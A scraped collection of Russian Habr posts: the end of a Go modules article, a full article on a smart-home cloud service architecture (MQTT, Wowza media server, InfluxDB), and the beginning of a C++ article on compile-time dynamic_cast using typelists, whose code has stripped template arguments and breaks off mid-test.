Статья кому-то может показаться сложноватой, но это из-за того, что я попытался объяснить многое разом. Реальность же такова, что модули Go сегодня в целом просты — мы, как обычно, импортируем пакет в наш код, а остальное за нас делает команда `go`. Зависимости при сборке загружаются автоматически.
Модули также избавляют от необходимости в `$GOPATH`, которая была камнем преткновения для новых разработчиков Go, у кого были проблемы с пониманием, почему надо что-то положить в какой-то конкретный каталог.
~~Вендоринг (неофициально) объявлен устаревшим в пользу использования прокси.~~[1](#fn1)
Я могу сделать отдельную статью про прокси для Go модулей.
Примечания:
1 Я думаю, что это слишком громкое выражение и у некоторых может остаться впечатление, что вендоринг убирают прямо сейчас. Это не так. Вендоринг все ещё работает, хотя и слегка по другому, чем раньше. По-видимому, есть желание заменить вендоринг чем-то лучшим, например, прокси (не факт). Пока это просто стремление к лучшему решению. Вендоринг не уйдет, пока не будет найдена хорошая замена (если будет). | https://habr.com/ru/post/421411/ | null | ru | null |
# Облачный Умный Дом. Часть 2: Облачный сервис
![image](https://habrastorage.org/r/w780q1/webt/iq/e3/kt/iqe3kte_k_di5dqmevpvprwojee.jpeg)
Продолжаю цикл из трех статей об облачном умном доме.
В [предыдущей статье](https://habr.com/ru/post/467219/) было рассмотрено оборудование для очувствления умного дома, а также алгоритмы преобразования сенсорных данных в управляющие команды для исполнительных устройств. Основным компонентом умного дома является контроллер, который большую часть времени работает автономно в соответствии с логикой, заложенной на этапе настройки. Различные устройства (IP-камеры, датчики, исполнительные устройства) подключаются к контроллеру, который пересылает данные, полученные с этих утройств, в облако.
Теперь поговорим об архитектуре облачного сервиса для хранения и обработки информации с датчиков и камер.
Преимущества облачного сервиса
------------------------------
Облачный сервис умного дома предлагает простой, гибкий и недорогой способ хранения и доступа к данным, полученным от устройств умного дома. Пользователю облачного сервиса не нужно беспокоиться о сохранности своих данных. Возможности многопроцессорного медиасервера, оснащенного дисковой корзиной с RAID-массивом из нескольких 10 — 12 ТБ дисков, намного превосходят по емкости SD- или Flash-карту внутри контроллера умного дома. Кроме того, карты памяти ненадежны, так как имеют ограниченное число циклов перезаписи и часто выходят из строя. Глубина хранения данных в облаке определяется тарифом пользователя и легко настраивается в его личном кабинете.
Кроме этого, для доступа к данным нет необходимости в «пробросе портов» на маршрутизаторе пользователя, когда устройства умного дома скрыты от внешних сетей протоколом NAT. В личном кабинете пользователя, доступном с мобильных устройств, можно легко настроить конфигурацию и логику работы умного дома.
Данные в облаке удобно не только хранить, но и обрабатывать, предоставляя пользователю статистику за различные периоды времени. Ниже будет рассмотрен пример вычисления средней температуры в помещении за неделю на основе измерений мультисенсора.
Архитектура облачного сервиса
-----------------------------
В предыдущей статье шла речь о контроллере умного дома, который устанавливается на стороне пользователя и взаимодействует с облачным сервисом по нескольким протоколам:
* MQTT используется для обмена JSON-сообщениями между контроллером и сервером бизнес-логики;
* HTTP для получения IP-адреса наименее загруженного медиасервера от балансировщика нагрузки кластера медиасерверов;
* RTMP для передачи потока H.264 + AAC на медиасервер.
Теперь рассмотрим облачный сервис умного дома — основные компоненты, из которых он состоит, и как происходит взаимодействие с контроллером умного дома.
[![](https://habrastorage.org/r/w1560/webt/os/bd/xi/osbdxiktvu-cla3sizuxjoaxbfu.png)](https://habrastorage.org/webt/a0/71/r5/a071r5lytzo8qx5xiotboecvljq.png)
(кликните на картинку, чтобы открыть в большем разрешении)
**Сервер бизнес-логики** является ключевым элементом во всей схеме информационного обмена внутри облачного сервиса. Его основное назначение — управление различными серверными подсистемами посредством RESTful API интерфейсов. Он реализует логику работы облачного сервиса на основе **модели пользователя**: запись видеоархива и измерений датчиков в зависимости от выбранного тарифа, взаимодействие между пользователем и контроллером умного дома итд.
**Брокер MQTT** необходим для обмена JSON-сообщениями между контроллерами умного дома, установленными на клиентской стороне, и сервером бизнес-логики. Клиенты подписываются на топики внутри брокера, которые служат каналами передачи сообщений. В качестве MQTT-брокера используется [Eclipse Mosquitto](https://mosquitto.org/).
**Кластер медиасерверов** — это распределенная система хранения, обработки, поиска и воспроизведения видеоинформации для IP-камер облачного умного дома. Специальный балансировщик нагрузки собирает информацию о текущей производительности каждого сервера в кластере, вычисляет наименее загруженный и сообщает его IP-адрес контроллеру умного дома, который передает на него видео с камер.
**Облачная база данных** необходима для хранения модели пользователя облачного сервиса, конфигурации и текущего состояния его оборудования, а также метаинформации о записях видеоархива. В качестве реализации облачной БД используется СУБД MySQL.
**Сенсорная база данных** — это нереляционная NoSQL база данных. В ней хранятся события и измерения датчиков умного дома, упорядоченные по времени. Применение СУБД [InfluxDB](https://docs.influxdata.com/influxdb/v1.7/), оптимизированной для работы с данными такого типа, значительно повышает производительность облачного сервиса.
**Бэкенд клиентского приложения** — это серверное приложение, главная функция которого — предоставление данных, полученных из облачной и сенсорной БД, в удобном формате для последующего отображения клиентским приложением на устройстве пользователя. Также бэкенд формирует команды управления в JSON-формате для контроллера умного дома. Бэкенд разработан на основе PHP-фреймворка [Laravel](https://laravel.com/). Более подробно он будет рассмотрен в следующей статье, посвященной клиентскому приложению для взаимодействия с облачным умным домом.
**Провайдер Push-уведомлений** доставляет сообщения о событиях умного дома на мобильное устройство пользователя, чтобы тот мог оперативно вмешаться в ситуацию (например, при протечке воды или появлении задымления вызвать соответствующие службы реагирования). В качестве провайдера Push-уведомлений был выбран сервис [OneSignal](https://onesignal.com/), который имеет удобный RESTful API интерфейс и функцию идентификации мобильных устройств, необходимую для корректной работы уведомлений внутри личного кабинета пользователя.
Сервер бизнес-логики
--------------------
Как уже было сказано ранее, сервер бизнес-логики — ключевой компонент облачного умного дома. Основываясь на **модели пользователя** (информационном описании пользователя системы, включающем в себя системные, персональные, финансовые и логические признаки), он управляет разнообразными сервисами внутри облака, которые имеют различную реализацию и функциональное назначение и связываются друг с другом посредством RESTful API интерфейсов.
![](https://habrastorage.org/r/w1560/webt/m0/vl/vj/m0vlvjztjnmvtrckqgvefi2ht80.png)
Модуль бизнес-логики внутри сервера отвечает за выполнение следующих операций:
1. управление хранением измерений датчиков и событий детекторов движения с IP-камер умного дома внутри сенсорной БД;
2. управление записью медиапотока IP-камеры, транслируемого контроллером умного дома, в архив медиасервера (постоянная / по детектору движения);
3. трансляция команд от клиентского приложения в контроллер умного дома;
4. трансляция конфигурации контроллера умного дома (подключенных устройств, правил продукционной логики, определяемых пользователем);
5. отправка Push-уведомлений о состоянии контроллера умного дома и подключенных устройств в клиентское приложение.
Особенностью работы сервера бизнес-логики является межпроцессное взаимодействие с удаленными приложениями, выполняющимися на нескольких серверах в сети Интернет. Большую часть времени приложение сервера бизнес-логики находится в состоянии ожидания на блокировках ввода-вывода, поэтому оно разработано на основе многопоточной архитектуры и состоит из набора конечных подзадач.
Для обеспечения максимальной эффективности работы внутренняя реализация сервера бизнес-логики должна быть наиболее простой ([принцип KISS](https://ru.wikipedia.org/wiki/KISS_(%D0%BF%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF))). Так как модель пользователя полностью детерминирована и не содержит изменяющихся связей между признаками, то нет и необходимости в гибком механизме логического вывода (как в контроллере умного дома, где логика работы настраивается пользователем). Поэтому работа модуля бизнес-логики внутри сервера может быть описана обычной алгоритмической блок-схемой с условными переходами.
[![](https://habrastorage.org/r/w1560/webt/fh/xf/70/fhxf703hqjqjjhzg9i_uuxv2qqo.png)](https://habrastorage.org/webt/2t/sd/5t/2tsd5t6w25dlhbmkzrfi5n92djg.png)
(кликните на картинку, чтобы открыть в большем разрешении)
Сразу после запуска сервер бизнес-логики переходит в состояние ожидания сообщений по протоколам MQTT (от контроллеров умного дома) и HTTP (от бэкенда клиентского приложения). В случае, если сообщение приходит по протоколу HTTP, то это означает, что пользователь взаимодействует с клиентским приложением и отправляет команды контроллеру умного дома или обновляет его конфигурацию. Чтобы сообщение от клиента попало в контроллер умного дома, оно транслируется сервером бизнес-логики в соответствующий топик MQTT-брокера, на который подписан контроллер (подзадача **SendGatewayMessage**).
На стадии инициализации контроллер умного дома ожидает, когда пользователь зарегистрирует его в личном кабинете. Поэтому выполняется подзадача **CheckGatewayExistance**, которая проверяет соответствующий статус в облачной БД MySQL. Для регистрации в личном кабинете контроллер отправляет свою полную конфигурацию серверу бизнес-логики, а тот, в свою очередь, транслирует ее бекенду клиентского приложения (подзадача **SendBackend**), который создает и обновляет конфигурационные записи в облачной и сенсорной базах данных.
Когда контроллер умного дома успешно зарегистрирован в личном кабинете пользователя, то сервер бизнес-логики загружает модель пользователя из облачной БД в свою оперативную память и начинает обрабатывать сообщения от IP-камер и датчиков Z-Wave в соответствии со следующим алгоритмом бизнес-логики.
JSON-сообщение от Z-Wave датчика с информационными полями:
```
{
"vendor": "*****",
"version": "3.0.0",
"timestampMs": "1571754749561",
"clientType": "gateway",
"deviceId": "c8e8de37-d301-45f4-ba01-************",
"deviceType": "sensor",
"protocol": "zwave",
"messageType": "sensorData",
"homeId": "0xefa0cfa7",
"nodeId": "19",
"sensorType": "SENSOR MULTILEVEL",
"label": "Temperature",
"sensorData": "26.1",
"units": "C",
"gatewayId": "6774f85a-0a5b-4059-9b68-************"
}
```
Когда по протоколу MQTT приходит сообщение от датчика Z-Wave, то выполняются следующие подзадачи:
* **StoreSensorDataMySQL** обновляет (UPDATE) существующую запись в облачной БД MySQL, где хранится информация о текущем состоянии и измерениях с датчика. Это необходимо для клиентского приложения, отображающего для пользователя текущее состояние умного дома;
* **StoreSensorDataInfluxDB** добавляет (INSERT) новую запись в сенсорную БД InfluxDB, где хранится история измерений с датчика. Эта информация используется при расчете статистических данных за различные периоды времени (например, энергопотребление за день, месяц или год) и отображении в клиентском приложении в виде графиков и таблиц;
* **SendPushNotification** формирует JSON-сообщение, содержащее временную метку, название датчика, текстовое описание события, идентификатор смартфона пользователя, с которым тот зашел в личный кабинет, внутренний идентификатор приложения в системе провайдера OneSignal. Далее, это сообщение отправляется провайдеру Push-уведомлений через RESTful API <https://onesignal.com/api/v1/notifications>, который доставляет его на смартфон пользователя.
Пример JSON-сообщения от IP-камеры с информационными полями:
```
{
"vendor": "*****",
"version": "3.0.0",
"timestampMs": "1571753150317",
"clientType": "gateway",
"deviceId": "1616453d-30cd-44b7-9bf0-************",
"deviceType": "camera",
"protocol": "onvif",
"messageType": "deviceState",
"deviceState": "streamingOn",
"mediaserverIp": "***.***.***.***",
"applicationName": "rtp-live-iot",
"gatewayId": "6774f85a-0a5b-4059-9b68-************"
}
```
Когда по протоколу MQTT приходит сообщение от IP-камеры, то сервер бизнес-логики извлекает его тип из поля **messageType**. В зависимости от значения этого поля выполняются следующие действия:
* **«messageType»: «deviceState»** — сообщение содержит информацию об изменении состояния IP-камеры. Выполняется подзадача **UpdateCameraState**, обновляющая информацию в облачной БД. Если при этом поле **deviceState** принимает значения **streamingOn** или **streamingOff** (IP-камера отправляет/останавливает поток данных на медиасервер), то выполняется подзадача **RecordMediaStream**, формирующая с учетом модели пользователя команду для включения/отключения режима архивной записи и отправляющая ее на медиасервер;
* **«messageType»: «sensorData»** — информация о срабатывании детектора движения на IP-камере. Если в модели пользователя режим записи в архив установлен как «по детектору движения», то выполняется подзадача **RecordMediaStream**. Далее выполняются подзадачи **StoreSensorDataInfluxDB** (сохранение истории срабатывания детектора в сенсорной БД) и **SendPushNotification** (рассылка Push-уведомлений через провайдера);
* **«messageType»: «preview»** — сообщение содержит кадр уменьшенного изображения с IP-камеры, который периодически пересылается в облако. Подзадача **StorePreview** сохраняет его в облачной БД. Далее он используется в клиентском приложении при отображении списка камер;
* **«messageType»: «command»** — команда, посылаемая контроллером умного дома при изменении его настроек пользователем через Web-интерфейс. Выполняется подзадача **RecordMediaStream**, которая в зависимости от модели пользователя включает/выключает режим записи на медиасервере.
[![](https://habrastorage.org/r/w1560/webt/8o/_u/gy/8o_ugygyf5hm0nlyd6aw8zwge8s.png)](https://habrastorage.org/webt/jh/mg/ss/jhmgssbfe94lrm0vomlgemudlho.png)
(кликните на картинку, чтобы открыть в большем разрешении)
В результате работы модуля бизнес-логики формируется **очередь задач (task queue)** — последовательность минимальных участков кода, выполняющихся независимо друг от друга. Очередь задач передается на исполнение **пулу потоков (thread pool)**, который распределяет задачи по свободным ядрам центрального процессора. Когда в процессе исполнения возникает блокировка ввода-вывода, то поток приостанавливается, переходя в состояние ожидания, и освобождает ядро центрального процессора, что позволяет пулу потоков начать незамедлительное выполнение следующей задачи из очереди. В момент, когда снимается блокировка ввода-вывода, заблокированный поток меняет свое состояние на рабочее и продолжает исполнение как только освободится одно из ядер центрального процессора.
Таким образом, благодаря декомпозиции задачи бизнес-логики на множество отдельных подзадач, выполняющихся одновременно, повышается производительность сервера бизнес-логики. Масштабирование системы достигается путем увеличения количества ядер центрального процессора и наращиванием количества серверов бизнес-логики в системе.
Приложение сервера бизнес-логики разработано на языке С++ и запускается как сервис [systemd](https://freedesktop.org/wiki/Software/systemd/) операционной системы Linux Debian Sarge. Для дополнительного контроля работоспособности используется система мониторинга ресурсов [monit](https://mmonit.com/monit/), перезапускающая сервис при возникновении проблем с производительностью.
В настоящее время в облачном сервисе работает один сервер бизнес-логики, запущенный на виртуальной машине Яндекс.Облако. Параметры виртуальной машины — 4 ядра vCPU c гарантированной долей 20%, 2 GB RAM, 100 GB HDD. По расчетам данной производительности достаточно для обработки сообщений от ~ 1000 контроллеров умного дома с 3 IP-камерами и 5 датчиками Z-Wave каждый (в процессе эксплуатации системы расчеты будут уточняться).
Медиасервер
-----------
Медиасервер — это выделенный сервер (dedicated server), на котором установлено специальное программное обеспечение для:
* получения потоков видео- и аудиоданных от устройств-энкодеров по специализированным сетевым протоколам;
* хранения данных в виде файлов архива в своей файловой системе;
* трансляции информации из файлов архива в стандартном потоковом формате для воспроизведения на клиентских устройствах.
В качестве медиасервера в системе облачного умного дома используется [Wowza Streaming Engine 4.7.2](https://www.wowza.com/products/streaming-engine) с дополнительными модулями, разработанными на языке Java, для записи потоковых данных в файловый архив и для работы с облачной БД.
[![](https://habrastorage.org/r/w1560/webt/va/du/c-/vaduc-wwi67k2367aoez0bnqx_s.png)](https://habrastorage.org/webt/if/be/ki/ifbekig-oo8yoxmpdcppccbic9q.png)
(кликните на картинку, чтобы открыть в большем разрешении)
Поток медиаданных от контроллера умного дома в формате RTMP поступает в медиасервер и выравнивается по временным меткам в [jitter-буфере](https://www.wowza.com/docs/how-to-turn-on-an-rtp-jitter-buffer-and-packet-loss-logging-rtp-and-mpeg-ts). Это необходимо для компенсации влияния задержек сетевых пакетов при передаче потока данных по сети Интернет.
Для записи видеопотока в файловую систему медиасервера в виде файла MP4 сервер бизнес-логики отправляет на медиасервер следующую команду через RESTful HTTP API:
```
http://:/v2/servers/\_defaultServer\_/vhosts/\_defaultVHost\_/applications/rtp-live-iot/instances/\_definst\_/streamrecorders/1616453d-30cd-44b7-9bf0-\*\*\*\*\*\*\*\*\*\*\*\*
{
"instanceName": "\_definst\_",
"fileVersionDelegateName": "CustomFileVersionDelegate",
"serverName": "",
"recorderName": "1616453d-30cd-44b7-9bf0-\*\*\*\*\*\*\*\*\*\*\*\*",
"segmentSchedule": "",
"outputPath": "",
"currentFile": "",
"applicationName": "rtp-live-iot",
"fileTemplate": "",
"segmentationType": "SegmentByDuration",
"fileFormat": "MP4",
"recorderState": "",
"option": "",
"currentSize": "0",
"segmentSize": "0",
"segmentDuration": "1800000",
"backBufferTime": "0",
"currentDuration": "0",
"startOnKeyFrame": "true",
"recordData": "false",
"moveFirstVideoFrameToZero": "true",
"defaultRecorder": "false",
"splitOnTcDiscontinuity": "false"
}
```
В поле **recorderName** указывается имя видеопотока (идентификатор IP-камеры на контроллере умного дома), в поле **fileVersionDelegateName** — имя унаследованного класса для определения пути к папке и имени файла. Код класса на языке Java приведен в следующем листинге:
```
import java.io.File;
import java.util.Calendar;
import java.util.TimeZone;
import com.wowza.wms.livestreamrecord.manager.IStreamRecorder;
import com.wowza.wms.livestreamrecord.manager.IStreamRecorderFileVersionDelegate;
import com.wowza.wms.logging.WMSLoggerFactory;
public class CustomFileVersionDelegate implements IStreamRecorderFileVersionDelegate
{
@Override
public String getFilename(IStreamRecorder recorder)
{
String sDisk = GetDisk();
if(sDisk == null)
{
WMSLoggerFactory.getLogger(null).error("CustomFileVersionDelegate::getFilename(): No drive chosen");
return null;
}
String sStreamName = recorder.getStreamName();
int nCameraId = Integer.parseUnsignedInt(ServiceQueries.GetCameraId(sStreamName));
TimeZone tz = TimeZone.getTimeZone("Europe/Moscow");
Calendar now = Calendar.getInstance(tz);
String sDirPath =
ServerParams.m_sServerContentPath +
"/" + sDisk +
"/" + Integer.toString(nCameraId / 200) +
"/" + sStreamName +
"/" + String.format("%1$tY/%1$tm/%1$td", now);
String sFullFilePath =
sDirPath +
"/" + sStreamName +
"_" + String.format("%1$tH_%1$tM_%1$tS", now) +
".mp4";
File dirs = new File(sDirPath);
dirs.setExecutable(true);
dirs.setWritable(true);
dirs.mkdirs();
WMSLoggerFactory.getLogger(null).info(
"CustomFileVersionDelegate::getFilename(): Filename created: " + sFullFilePath);
return sFullFilePath;
}
}
```
В классе **CustomFileVersionDelegate** перегружена виртуальная функция **getFilename** базового класса **IStreamRecorderFileVersionDelegate**, которая вызывается медиасервером перед началом записи потока в файл. Функция создает папку на диске с путем **sDirPath** и возвращает полный путь к файлу **sFullFilePath**.
Так как объем медиаданных очень велик, фаловая система включает в себя несколько физических дисков большого объема (8 — 12 ТБ), смонтированных как поддиректории. В качестве целевого диска при записи выбирается диск с наибольшим количеством свободного места. Для оптимальной работы файловой системы при доступе к файлу путь к целевой папке формируется следующим образом:
```
/content///////
```
где **diskId** — идентификатор диска (смонтированная папка),
**cameraIdDivideBy200** — результат целочисленного деления идентификатора камеры на 200,
**streamUuid** — идентификатор медиапотока,
**year, month, day** — год, месяц и день записи соответственно.
Это позволяет избежать большого количества подпапок внутри одной папки и, соответственно, драматического падения производительности всей файловой системы при увеличении количества IP-камер в облачных умных домах.
Информация об IP-адресе медиасервера, пути к файлу с медиаданными, времени начала и конца записи в файл сохраняется в облачной БД и далее используется клиентским приложением для отображения временной шкалы архива, на которой можно выбрать и воспроизвести видеозапись.
Чтобы получить видеопоток, фронтенд клиентского приложения обращается к медиасерверу, посылая следующие команды по протоколу HTTP. Для «живого» видеопотока:
```
https://:/rtp-live-iot//playlist.m3u8
```
Для архивного видеопотока:
```
https://:/vod/\_definst\_/mp4:///////playlist.m3u8?wowzaplaystart=&wowzaplayduration=
```
где **fileName** — имя архивного файла на диске,
**offsetMs** — смещение воспроизведения относительно начала файла в миллисекундах,
**durationMs** — продолжительность воспроизведения в миллисекундах.
Медиасервер отправляет поток в формате [HLS](https://ru.bmstu.wiki/HLS_(HTTP_Live_Streaming)), который позволяет отображать видео H.264+AAC во всех современных браузерах и мобильных устройствах с операционными системами iOS и Android. Пакетайзер HLS кодирует поток в виде отдельных чанков и пересылает по протоколу HTTP как ответ на запрос от мобильного приложения.
Для оптимизации затрат на хранение и доступа к архивным файлам медиасервер облачного умного дома разработан на аппаратной платформе Supermicro CSE-825TQ, motherboard X8DT6, 2xCPU Intel Xeon E5645 2.4 GHz, 32 GB RAM, 44 TB HDD Adaptec AAC-RAID. Медиасервер устанавливается как выделенный сервер на хостинговой площадке и подключается к Интернет-каналу с гарантированной шириной 400 Мбит/с. Производительности одного медиасервера достаточно для обработки медиапотоков с ~400 IP-камер с кодеком H.264, разрешением кадра 720p и битрейтом 1 Мбит/с.
![](https://habrastorage.org/r/w1560/webt/zr/-n/sy/zr-nsyuedb8wtbakou5rzfnsyo8.png)
Соответственно, чтобы иметь возможность обрабатывать потоки с 1000 IP-камер, необходимо установить 3 медиасервера и равномерно распределить нагрузку между ними. Для этого используется балансировщик нагрузки (load balancer), который подключается к медиасерверу Wowza Streaming Engine как отдельный плагин [Dynamic Load Balancing AddOn](https://www.wowza.com/docs/how-to-get-dynamic-load-balancing-addon). При этом различают, собственно, балансировщик нагрузки (или **origin server**), который периодически получает значения метрик производительности от конечных медиасерверов (или **edge servers**) и на основе этой информации находит наименее загруженный сервер в кластере.
Контроллер умного дома обращается к балансировщику по протоколу HTTP и в ответ получает IP-адрес этого сервера, на который контроллер передает медиапоток с IP-камеры по протоколу RTMP. В метрику производительности входит количество установленных соединений с источниками и потребителями медиапотоков и текущая пропускная способность Интернет-канала на сервере. В настройках балансировщика можно также указать выбор edge-сервера с учетом его геопространственного положения, что позволяет размещать серверы в разных городах и странах для создания распределенной сети доставки контента [CDN](https://ru.wikipedia.org/wiki/Content_Delivery_Network).
Сенсорная база данных
---------------------
Как упоминалось ранее в предыдущей статье, показания датчиков Z-Wave, а также текущее состояние и события IP-камер пересылаются в JSON-формате контроллером умного дома в облако по протоколу MQTT. Сервер бизнес-логики декодирует эти сообщения и выполняет подзадачу **StoreSensorDataInfluxDB**, которая передает данные в сенсорную БД по протоколу HTTP.
[![](https://habrastorage.org/r/w1560/webt/14/lv/rv/14lvrvrra0js_mzifmrwszu9c68.png)](https://habrastorage.org/webt/n7/7r/fe/n77rfee4qinkf1voj30wml8ghci.png)
(кликните на картинку, чтобы открыть в большем разрешении)
Сенсорная БД облачного умного дома разработана на основе [InfluxDB 1.7.x](https://www.influxdata.com/products/influxdb-overview/) — СУБД с открытым исходным кодом для работы с временными последовательностями (time series), которая используется во многих проектах Интернета Вещей для хранения данных с датчиков и аналитики. Запросы к сенсорной БД формируются на языке [InfluxQL](https://docs.influxdata.com/influxdb/v1.7/query_language/spec/) аналогичном традиционному SQL.
Время хранения данных в облачном умном доме определяется выбранным тарифом согласно модели пользователя. Из-за существенной разницы в объеме видеоданных и данных с датчиков время их хранения будет отличаться. Размер видеоархива измеряется в сутках (7, 14, 30 суток на разных тарифах), а размер архива датчиков — в годах (3, 5, 7 лет соответственно). Поэтому для каждого контроллера умного дома при его регистрации в личном кабинете пользователя внутри сенсорной БД создаются 2 отдельных БД с различными политиками хранения (retention policy):
```
CREATE DATABASE "gateway_6774f85a_0a5b_4059_9b68_************_cameras" WITH DURATION 720h SHARD DURATION 1h;
CREATE DATABASE "gateway_6774f85a_0a5b_4059_9b68_************_sensors" WITH DURATION 61320h SHARD DURATION 24h;
```
За создание, редактирование и удаление БД внутри сенсорной БД отвечает бэкенд клиентского приложения. Например, если пользователь облачного умного дома меняет тариф, то бекенд посылает следующие команды для внесения изменений в политику хранения:
```
ALTER RETENTION POLICY "autogen" ON "gateway_6774f85a_0a5b_4059_9b68_************_cameras" DURATION 168h SHARD DURATION 1h;
```
При удалении контроллера умного дома из личного кабинета пользователя бекенд удаляет соответствующие БД:
```
DROP DATABASE "gateway_6774f85a_0a5b_4059_9b68_************_cameras";
DROP DATABASE "gateway_6774f85a_0a5b_4059_9b68_************_sensors";
```
Сервер бизнес-логики при получении информационного сообщения от контроллера умного дома выполняет запрос на вставку данных в сенсорную БД:
```
INSERT device_20873eb0_dd5e_4213_a175_************,class=METER,label=Energy,units=kWh value_float=0.05 1572194550125;
```
Пример таблицы с данными от датчиков Z-Wave для одного контроллера умного дома:
![](https://habrastorage.org/r/w1560/webt/bc/ic/ht/bcicht3izpojrvpo2bsp2347p5w.png)
Одна из самых полезных функций облачного дома — это вычисление статистики на основе полученных данных. Пользователю необходимо знать среднюю температуру в комнате или сколько электроэнергии он потратил за месяц.
Язык InfluxQL позволяет выполнять запросы с помощью [аналитических функций](https://docs.influxdata.com/influxdb/v1.7/query_language/functions/). Например, для подсчета средней температуры за неделю необходимо выполнить следующий запрос:
```
SELECT MEAN("value_float") FROM device_63c660da_f0e8_4eca_8d5f_************ WHERE label = 'Temperature' AND time >= '2019-10-21T00:00:00.000Z' AND time <= '2019-10-27T23:59:59.999Z' GROUP BY time(1d) fill(null);
```
Результаты этого запроса приведены в таблице:
![](https://habrastorage.org/r/w1560/webt/ze/ac/wb/zeacwb7cqvnei_raajemgoebauq.png)
В следующей статье, целиком посвященной клиентскому приложению, будет подробно рассмотрено вычисление статистики по разным параметрам и построение таблиц и графиков на ее основе.
В системе облачного умного дома СУБД InfluxDB развернута на одной виртуальной машине Яндекс.Облако с параметрами: 4 ядра vCPU c гарантированной долей 20%, 2 GB RAM, 100 GB HDD. По расчетам данной конфигурации достаточно для хранения сенсорных данных от 3000 IP-камер и 5000 датчиков Z-Wave в течение 7 лет.
Заключение
----------
В статье была рассмотрена архитектура облачного сервиса для умного дома, алгоритм работы сервера бизнес-логики, архитектура медиасервера для записи, хранения и воспроизведения потоков медиаданных с IP-камер, а также архитектура сенсорной БД для хранения и анализа данных с датчиков умного дома. Система облачного сервиса работает как на выделенных, так и на виртуальных серверах, для большей устойчивости расположенных на разных хостингах. В настоящее время система проходит опытную эксплуатацию.
Чем старше данные, хранящиеся в облаке, тем реже обращается к ним пользователь. В следующей версии облачного сервиса предполагается применить механизм прореживания (или передискретизации) данных с помощью [InfluxDB Continuous Queries](https://docs.influxdata.com/influxdb/v1.7/query_language/continuous_queries/#advanced-syntax), чтобы уменьшить количество хранимых данных с помощью агрегирующих функций и, тем самым, увеличить емкость сенсорной БД.
![](https://habrastorage.org/r/w1560/webt/4x/s-/jl/4xs-jlindsjesrddtgfb8nbstxu.png)
Также в следующей версии облачного сервиса будет реализован кластер серверов бизнес-логики по принципу кластера медиасерверов, рассмотренному в этой статье. На рисунке показана архитектура такого кластера, где несколько edge-серверов (на каждом из которых установлен отдельный MQTT-брокер и ПО сервера бизнес-логики) пересылают метрики производительности на origin-сервер, вычисляющий IP-адрес наименее нагруженного сервера. Это позволит масштабировать систему в большем объеме и преодолеть существующее ограничение в 1000 умных домов. | https://habr.com/ru/post/474700/ | null | ru | null |
# dynamic_cast на этапе компиляции
Приветствую все читающих.
**О чём статья (или задача статьи)**: практический ответ на вопрос "возможно ли создать большой проект так, чтобы полностью отказаться от `dynamic_cast` на этапе выполнения?", где под большим проектом подразумевает такой в котором уже нет человека, что бы держал в голове всю кодовую базу проекта целиком.
**Предварительный ответ**: ДА, это возможно — возможно создать механизм, позволяющий решить задачу *dynamic\_cast на этапе компиляции*, **но** — едва ли подобное будет применяться на практике по причинам как: (1) с самого начала целевой проект должен строиться согласно наперёд заданным правилам, в следствии чего взять и применить методику к существующему проекту, очень трудоёмко (2) существенное повышение сложности кода с точки зрения удобства его читаемости в определённых местах, где, собственно, происходит замена логики `dynamic_cast` на предложенную ниже (3) использование шаблонов, что может быть неприемлемым в некоторых проектах по идеологическим соображениям ответственных за него (4) интерес автора исключительно в том, чтобы дать ответ на поставленный вопрос, а не в том, чтобы создать универсальный и удобный механизм решения поставленной задачи (в конце-концов, не нужно на практике решать проблемы, которые не являются насущными).
Идея реализации
---------------
За основу была взята идея списка типов, [описанная Андреем Александреску](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80%D0%B5%D1%81%D0%BA%D1%83,_%D0%90%D0%BD%D0%B4%D1%80%D0%B5%D0%B9) и реализованная им же в [библиотеке Loki](http://loki-lib.sourceforge.net/html/a00681.html). Данная идея была доработана по следующим пунктам (пункты помеченные `*` означают, что по данному пункту автор статьи не согласен с видением Александреску по поводу списков типов):
* добавлена возможность генерации произвольного по длине списка типов без использования макросов и/или шаблонных структур, с количеством шаблонных параметров равных длине создаваемого списка;
* добавлена возможность генерации списка типов на основе типа(ов) и/или существующего списка(ов) типов в их произвольной комбинации;
* \*удалена возможность создавать списки типов элементы которых могут являться списками типов;
* \*удалены функции `MostDerived` и `DerivedToFront` как и любая логика завязанная на наследовании классов, т.к. (1) логика её работы сильно зависит от порядка типов в списке типов, а потому требует бдительности от программиста при создании соответствующих списков и, что более важно, полного знания проекта программистом, который будет применять эту логику, что противоречит условиям задачи (2) распознавание наследования вниз по иерархии наследования, вообще говоря, простая задача не требующая какой-либо дополнительной логики этапа компиляции помимо уже имеющейся, тогда как автора статьи интересует в первую очередь логика распознавания наследования вверх на этапе компиляции, в чём выше обозначенные функции помочь не в силах;
* добавлены проверки через `static_assert`, что позволяет получать осмысленные сообщения об ошибках при компиляции списка типов, в случае возникновения таковых;
* добавлены функции как `RemoveFromSize`, `CutFromSize` позволяющие получать подсписки списков типов.
Итоговый код библиотеки, для работы со списками типов, в полном виде вы можете посмотреть здесь (<https://github.com/AlexeyPerestoronin/Cpp_TypesList>), тогда как в статье будет присутствовать код, непосредственно использующий функционал данной библиотеки, необходимый для решения задачи.
Для начала будет представлен весь тестовый код с демонстрацией решения поставленной задачи, а далее, один за одним будут представлены и объяснены фрагменты из этого кода, последовательное ознакомление с которыми должно прояснить задумку автора.
```
#include
#include
#include
class A {
public:
using BASE\_t = TL::Refine\_R>;
A() {}
A(int a) {
buffer << ' ' << a;
}
virtual void F1() = 0;
protected:
std::stringstream buffer;
};
class B : public A {
public:
using BASE\_t = TL::Refine\_R>;
B() {}
B(int a, int b)
: A(a) {
buffer << ' ' << b;
}
virtual void F1() override {
std::cout << "class::B" << buffer.str() << std::endl;
}
};
class C : public B {
public:
using BASE\_t = TL::Refine\_R>;
C() {}
C(int a, int b, int c)
: B(a, b) {
buffer << ' ' << c;
}
virtual void F1() override {
std::cout << "class::C" << buffer.str() << std::endl;
}
};
class D : public C {
public:
using BASE\_t = TL::Refine\_R>;
D() {}
D(int a, int b, int c, int d)
: C(a, b, c) {
buffer << ' ' << d;
}
virtual void F1() override {
std::cout << "class::D" << buffer.str() << std::endl;
}
};
TEST(Check\_class\_bases, test) {
{
using TClass = A;
EXPECT\_EQ(TClass::BASE\_t::size, 1);
EXPECT\_TRUE((TL::IsInList\_R));
}
{
using TClass = B;
EXPECT\_EQ(TClass::BASE\_t::size, 2);
EXPECT\_TRUE((TL::IsInList\_R));
EXPECT\_TRUE((TL::IsInList\_R));
}
{
using TClass = C;
EXPECT\_EQ(TClass::BASE\_t::size, 3);
EXPECT\_TRUE((TL::IsInList\_R));
